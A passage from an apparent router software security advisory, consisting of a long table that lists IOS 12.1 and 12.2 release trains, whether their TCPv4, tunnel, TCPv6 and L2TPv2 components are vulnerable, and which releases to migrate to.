| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1E latest |
| | Tunnels | |
|12.1EY |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(28) or later |
| | Tunnels | |
|12.1T |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(28) or later |
| | Tunnels | |
|12.1XA |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(28) or later |
| | Tunnels | |
|12.1XB |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(28) or later |
| | Tunnels | |
|12.1XC |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(28) or later |
| | Tunnels | |
|12.1XD |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1E latest |
| | Tunnels | |
|12.1XE |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(28) or later |
| | Tunnels | |
|12.1XF |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1XG |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(28) or later |
| | Tunnels | |
|12.1XH |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(28) or later |
| | Tunnels | |
|12.1XI |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1XJ |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1XL |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1XM |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1XP |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1XQ |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1XR |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1XT |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1XU |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1XV |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1YA |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1YB |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1YC |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1YD |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1YE |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1YF |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1YH |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.1YI |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(22)EA4 or later |
| | Tunnels | |
|12.1YJ |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|-------------------+---------------------------|
| Affected | | |
| 12.2-Based | Rebuild | Maintenance |
| Release | | |
|-------------------+-------------+-------------|
| | TCPv4 | | |
| | and | | 12.2(28) |
| | Tunnels | | |
|12.2 |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.2B | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | 12.2(15) | |
| | and | BC2f | |
| | Tunnels | | |
|12.2BC |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2BW |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2BY |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | | 12.3(7)XI3 |
| |---------+---------------------------|
| | Tunnels | Vulnerable; migrate to |
| 12.2BZ | | 12.3(7)XI4, available TBD |
| |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | 12.2(15) | |
| | and | BC2f | |
| | Tunnels | | |
|12.2CX |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | 12.2(15) | |
| | and | BC2f | |
| | Tunnels | | |
|12.2CY |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; | |
| | and | contact TAC | |
| | Tunnels | | |
|12.2CZ |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | 12.2(12)DA8 | |
| | Tunnels | | |
|12.2DA |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2DD |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2DX |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | | 12.2(20)EU |
| | Tunnels | | |
|12.2EU |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | 12.2(18)EW3 | |
| | Tunnels | | |
|12.2EW |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | 12.2(25)EWA | |
| | Tunnels | | |
|12.2EWA |---------+-------------+-------------|
| | TCPv6 | 12.2(25)EWA | |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(25)SEB or later |
| | Tunnels | |
|12.2EX |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | 12.2(25)EY | |
| | Tunnels | | |
|12.2EY |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(4)JA |
| | Tunnels | |
|12.2JA |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.2JK |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.2MB |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T |
| | Tunnels | |
| |---------+---------------------------|
| 12.2MC | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T |
|---------+---------+---------------------------|
| | | 12.2(14)S13 | |
| | |-------------| |
| | TCPv4 | 12.2(18)S8 | |
| |and |-------------| |
| | Tunnels | 12.2(20)S7 | |
| | |-------------| |
| 12.2S | | 12.2(25)S3 | |
| |---------+-------------+-------------|
| | | 12.2(20)S7 | |
| |TCPv6 |-------------| |
| | | 12.2(25)S3 | |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | 12.2(25)SEB | |
| | Tunnels | | |
|12.2SE |---------+---------------------------|
| | TCPv6 | 12.2(25)SEA vulnerable; |
| | | migrate to 12.2(25)SEB |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | 12.2(18)SO1, available |
| | and | 25-Mar-05 |
| | Tunnels | |
|12.2SO |---------+---------------------------|
| | TCPv6 | 12.2(18)SO2, available |
| | | 29-Apr-05 |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.2SU |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(25)S3 |
| | Tunnels | |
|12.2SV |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.2SW |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(17d)SXB7 |
| | Tunnels | |
|12.2SX |---------+---------------------------|
| | TCPv6 | Vulnerable; migrate to |
| | | 12.2(17d)SXB7 |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(17d)SXB7 |
| | Tunnels | |
|12.2SXA |---------+---------------------------|
| | TCPv6 | Vulnerable; migrate to |
| | | 12.2(17d)SXB7 |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | 12.2(17d) | |
| | and | SXB7 | |
| | Tunnels | | |
|12.2SXB |---------+-------------+-------------|
| | TCPv6 | 12.2(17d) | |
| | | SXB7 | |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | 12.2(18) | |
| | and | SXD4 | |
| | Tunnels | | |
|12.2SXD |---------+-------------+-------------|
| | TCPv6 | 12.2(18) | |
| | | SXD4 | |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(17d)SXB7 |
| | Tunnels | |
|12.2SY |---------+---------------------------|
| | TCPv6 | Vulnerable; migrate to |
| | | 12.2(17d)SXB7 |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(20)S7 |
| | Tunnels | |
|12.2SZ |---------+---------------------------|
| | TCPv6 | Vulnerable; migrate to |
| | | 12.2(20)S7 |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | 12.2(15)T15 | |
| | Tunnels | | |
|12.2T |---------+-------------+-------------|
| | TCPv6 | 12.2(15)T15 | |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XA |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XB |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2XC |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XD |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XE |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(15)BC2f |
| | Tunnels | |
|12.2XF |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XG |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XH |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XI |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XJ |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XK |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XL |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XM |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XN |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XQ |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(4)JA |
| | Tunnels | |
|12.2XR |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XT |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XU |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2XW |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | 12.2(4)YA9 | |
| | Tunnels | | |
|12.2YA |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; contact TAC |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2YB |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2YC |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2YD |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2S or later |
| | Tunnels | |
|12.2YE |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.2S or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2YF |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2YG |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2YH |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
|12.2YJ |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2YK |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2YL |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2YM |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2YN |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(17d)SXB7 |
| | Tunnels | |
|12.2YO |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2YQ |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2YR |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(13) or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.2YT | TCPv6 | Vulnerable; migrate to |
| | | 12.3(12) or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3 or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.2YU | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.2YV | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2YW |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.2YX |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2YY |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(20)S7 |
| | Tunnels | |
|12.2YZ |---------+---------------------------|
| | TCPv6 | Vulnerable; migrate to |
| | | 12.2(20)S7 |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(17d)SXB7 |
| | Tunnels | |
|12.2ZA |---------+---------------------------|
| | TCPv6 | Vulnerable; migrate to |
| | | 12.2(17d)SXB7 |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.2ZB |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
| |---------+---------------------------|
| 12.2ZC | TCPv6 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
| |---------+---------------------------|
| | L2TPv2 | Vulnerable; migrate to |
| | | 12.3(14)T or later |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T |
| | Tunnels | |
| |---------+---------------------------|
| 12.2ZD | TCPv6 | Vulnerable; migrate to |
